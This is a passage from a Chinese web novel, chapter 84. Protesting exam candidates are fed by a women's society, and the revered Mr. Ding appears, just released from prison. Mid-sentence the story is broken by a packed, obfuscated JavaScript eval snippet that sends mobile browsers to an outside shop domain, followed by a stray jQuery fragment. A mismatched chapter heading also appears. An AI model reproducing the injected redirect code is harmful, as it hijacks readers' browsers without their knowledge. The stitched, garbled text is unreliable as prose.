84.第 84 章
    几个人都不相信。

    只有才八斗十分清楚,虚神山专用的太阳石灶锅是不怕大雨瓢泼的。他一方面不想承认认识外面的人,一方面又担心那群人会使出什么莫名其妙的花样,于是提醒大家:“军队行军,遇到大雨也还是可以做饭的。”

    哦。

    窗户纸一点就透。

    但这并没能解除所有人的疑虑。窝息克身材太高,为了方便与大家讨论,便盘腿坐下来。四个人你看看我,我看看你,都没有率先说话。

    麻木晨风和宋海音不知道从哪里找来这样一只做饭的队伍。就算是平民党,也未必能动员到如此齐全的锅碗瓢盆。她们的目的很显然,是要分化瓦解己方团结。最要命的是,己方本是没有团结的。目标不明确、利益不够大、相互信任可以说是零。目前唯一可以拿出来说的,就是免费的吃住。但很显然,对方也是主打吃,这一项目。如果对方这样连供三天,外地的考生也玩够了京城,那么,一哄而散是必然的结果。

    才八斗看到没人主动说话,心里有些急:“把门打开吧。他们是来送吃的。”

    众人皆诧异。心想,不是你召集大家来这里的么?怎么你先投降了?

    才八斗被看得有些心虚,小声地解释:“当官不打送礼的,咱也不能往外推。天天面条和咸菜,人心涣散是必然。”

    想了想,这话说得有一定道理。有人来送热面条和蒸包子,要是自己这方胆敢阻拦,肯定会被立即抛弃。

    西门话眨了眨眼睛,站起身来大声喊:“同学们!附近的乡亲知道我们的意志和决心,推着热汤热面,带着包子和馒头,来支援我们了!”

    这,能成么?

    管他呢!爱多跳出窟窿跟上去:“吃饱了,咱们一起去骑兵营,反封建!反权贵!”

    听说有包子有馒头,屋子里立即炸了锅。百十号人欢呼着站起来鼓掌,边举起拳头来喊口号:“反封建!反权贵!打倒泉晓武!”

    窝息克很怀疑这种粗浅的口号可以蒙混过关,但,他也不认为仅凭着女权会的一顿包子就能改变落榜生对纨绔王子的看法。最多,也就是心平气和地坐下来谈。

    谈就谈,谁怕谁呀?入学退学退学入学,这种行为要是能被热汤面化解了,那,天底下也没啥公理可以讲了。

    轰隆隆推开门。等在门口的挑夫们笑逐颜开地挑着大缸大锅大勺大盆走进来。

    门外的大雨铺天盖地,哗啦啦地下个不停。但宋海音和晨风都不是一般人,早就听到西门话颠倒黑白、混淆视听的话语。但她们同样也不是不懂得人情世故的傻白甜,一只脚刚踏入敌对势力的阵营,就想用一顿饭来扭转乾坤。

    晨风是抱着胳膊冷眼旁观这几个貌似领袖的学生。但宋海音等几个女权却是穷苦人家长大的,刚一进门就端着甜蜜蜜的白米粥甜蜜蜜地笑,热情洋溢地给学生家长发吃的东西。每给出一份,都会寒暄两句,问是哪里来的,在京城住几天了。一旦听到是燕国、明国、尊国、远国来的,便聊几句珥浪珥潮好可怕之类的话。让这隐隐约约无形的担忧悄悄地散播出去。

    木子李是一直盯着宋海音她们看的。但他只是铁青着脸,咬着嘴唇,努力克制着自己不去阻拦。己方这些领头的,说白了,充其量不过是隶属于平民党的落榜生。这次抗争结束之后,天涯各一方,此生不再见。要说在群众里有什么威望,那也谈不上。但宋海音和晨风则不同。宋海音是“书”这项考试的学生会总监考,晨风更是本期的榜眼。自己等人与她们相比,就是失败者里的大个儿,比成功者里的大个儿,不在一个档次。

    各有目的的双方都没有率先发难,而是在热火朝天的气氛中,各自施展着软实力。这群人到底是能同仇敌忾,还是会被分化瓦解,都不是一顿饭就能决定的。

    瓢泼的大雨中,一个带着斗笠、穿着蓑衣的人默不作声地从大仓库外面走进来。四十几岁的面容,却是两鬓尽霜,看起来如同六十岁的头发。他的手指枯瘦,黑黝黝地,几乎就是皮包骨。手里拄着一根不知道从哪里捡来的枯杖,一步一挨,看上去极其虚弱。

    宋大厨本想说这里不是慈善堂,不给要饭的发粥。但抬头看了一眼资助人,麻木家的大小姐,却看到晨风那双晶莹剔透的眼中透出发自内心的怜悯。于是,不再犹豫,拿起一只碗来崴上两大勺,盛了满满的一碗粥,递过去。

    蓑衣人接过去,道谢。挪到包子笼屉前站下。食堂老板抓起三个包子递过去,笑吟吟地叮嘱:“慢点吃,别噎到……”

    话没说完,身后被人猛挤,手一歪,包子掉在了地上。老板怒目回头,见是一个羽族的学员,好像是这里负责的,叫木子李。

    蓑衣人弯下腰去拾包子。木子李噗通一声跪在地板上抢先拾起来,用双手捧着递过去:“丁、丁、丁先生。您……”

    哇地一声,木子李失声大哭。边哭边喊:“丁先生!丁先生出来了!从天牢里,出来了!”

    噼里啪啦,大仓库到处都是粥碗摔落的声音。

    “丁先生?”

    “丁先生!”

    “是丁先生,出来了!”

    丁先生一言不发地从木子李的手中接过包子,一言不发地找到一个角落坐下去,一言不发地吃起来。

    宋海音迅速地走到朝青衣的身边,对着她使个眼色。朝青衣低头发着馒头夹咸菜,边发边靠近大门。左右看看没有人注意自己,便放下馒头框,走出去。转到仓库侧面没有窗户的地方,幻化出翅膀,振翅飞走。

    五十章

    并不是每一个人都对丁先生的到来感到高兴。除了宋海音她们知道,丁先生必然会站在平民党的立场上,成为自己的阻碍。宋大厨等虚神山来的平民,也不赞成平民党。对皇城根底下,有京城户籍,并经常以看到皇帝、皇后、皇太子,王公贵族士大夫为荣的百姓而言,平民党,就是破坏秩序,让外地的、外省的、乡下的、山里的,那些不懂得三跪九叩需要主意腰、腿、手、头的标准位置的粗鄙同胞,与自己站到了同一个起跑线上,抛弃高贵的等级教育,堕落到没有规矩的世界的罪魁祸首。

    他们,在感情上倾向拳党。

    尤其,两天前,新任大祭司大国师大仙子朱华珍刚刚入驻虚神庙,就有双月光华冲天起,扶摇直上照九霄的祥瑞。

    可恶的丁先生!可恶的平民党!可恶的白吃白喝白嫖京城景点的乡下人!

    宋大厨边这样想着,边笑眯眯地为刚刚摔了粥碗的乡下人用力地舔两勺粥。

    帮麻木家的大小姐花钱,撑死你们!

    很显然,刘掌柜和沈伙计都是这样想的。也在皮笑肉不笑地给乡下人发包子和馒头。

    与他们形成鲜明对比的,是肩上扛着担,手中提着纤绳的运输工们。这种出大力、吃大苦、还要去山里、河里、矿里搬运富有灵性的材料,长达数月半年才能运到虚神山上去的活计,多是初来乍到的外乡人、找不到更好的活儿,才不得不去做的。尤其,一旦遇到珥浪,他们所乘坐的结界大船,还未必能抗得住。万一太阳能与河道中的各路风水凑到一起,卷起几十米高的疯狗浪,再结实的船,也有瞬间覆灭的危险。

    这群人,对自己的命运充满悲观。他们知道,凭借自己的能力一步一步往上爬,最多也不过混到领队

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12986724|129424||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    的那个级别。这,就要求他们至少再活三十年,至少遭遇十几次珥浪、一次珥潮,还要没死,才能有资格带领一只长途运输的队伍,并有足够的经验保护其中十分之一或二十分之一的人能存活下来。

    打破阶级之间的差异,组建平民议会,让自己人代表自己,让了解自己生活困苦的人有力量影响国家政策的制定;而不是那些高高在上的贵族,那些生下来就锦衣玉食并在政治手腕里游刃有余的,只知道如何黑箱操作做交易、投机取巧钻空子、冠冕堂皇说大话、想方设法让政治的天平倾斜到一己私利上的,政治流氓来代表扎扎实实生活、认认真真做事的人。

    从十几艘乌篷船上下来的人,显然分成了两派。

    皇城派,是鄙视着丁先生的。

    外乡派,是充满惊喜的。

    宋海音尴尬地发现,自己带来想要分化落榜生队伍的队伍,率先出现了分化。

    麻木晨风,跟宋海音的想法明显也有着不同。她的目标相当明确:像御雪那样,进入商业联盟,获得理事席位。从而向继承麻木家族的终极目标,踏出坚实的一步。女权会,是她的心理依靠。如果不是性别歧视,那么,她完全可以躺平、摆烂,只需要割破一根手指头验血证明自己的长女身份,就可以做到刚一出生就赢了。

    但女权会的发展,并不是她的责任。

    同样,大昕帝国的未来应该施行皇帝制度,还是贵族议会制度,或者平民大会制度,对她来说,根本就是一群政治猴子在做跳梁小丑。

    无论是皇帝、十二主星议会、或者是由民主双月泉墨、丁先生所施行的短命的平民大会,其维持统治的根本,只有三件事:经济、经济、还是经济。

    当经济可以支持一个国家的时候,国家就是稳定的。因为普通百姓的理想,不过是周末到哪里吃饭、假期到哪里旅游、出门穿哪件衣服、孩子上哪所学校。

    当经济只能支持少部分人的时候,国家就是动荡的。因为掌握财富的那群人,会盲目地、贪婪地、不计后果地,从普通百姓的身上一分钱、一分钱地压榨。大昕帝国的全体国民的每一个人的一分钱,积累到一个人的手中是巨大的,分散在每一个人的手中似乎无关痛痒。但,如果皇帝压一分、王公压一分、大臣压一分……县官现管教师医生警察消防员都去压一分,就会在普通百姓的收入里切走一大块。

    对财阀来说,无论是清廉政府努力改善普通百姓的衣食住行,还是政治集团导致大昕帝国腐败不堪的倾轧平民,都只是经济行为的一个方面。他们要关注的,只是消费倾向的转移,紧跟倾向甚至去领导潮流。

    所以,麻木晨风毫不犹豫地资助女权会用包子分化落榜生的提议,也不在乎丁先生突然出现导致运输队偏移立场。她甚至饶有兴趣地注视着丁先生的一举一动:如果这位伟大的民主暗月向自己提出捐款和资助,那么,应该走哪一条渠道、通过哪一个基金、用哪一种借口,才能让十二主星议会睁一眼、闭一眼。

    她不需要隐瞒两边下注。这个世界上没有一个人是傻子,无非是早一天发现还是晚一天发现而已。她是钱袋子,两边都需要的钱袋子。只要给出说得过去的借口,没人傻到去捅破窗户纸,主动切断与钱袋子的关系。

    丁先生蜷缩在角落里,一副冷冰冰,请勿打扰的姿态。但,作为搅动天地风云,倾覆七百六十年传承的皇帝制度的暗月先生,他的洞察力和分析力,并没有随着他的意志力而消失。

    想要打败敌人,首先要做的是了解自己。

    敌人就是敌人。无论敌人说什么还是做什么,其目的永远只有一个,就是打败你。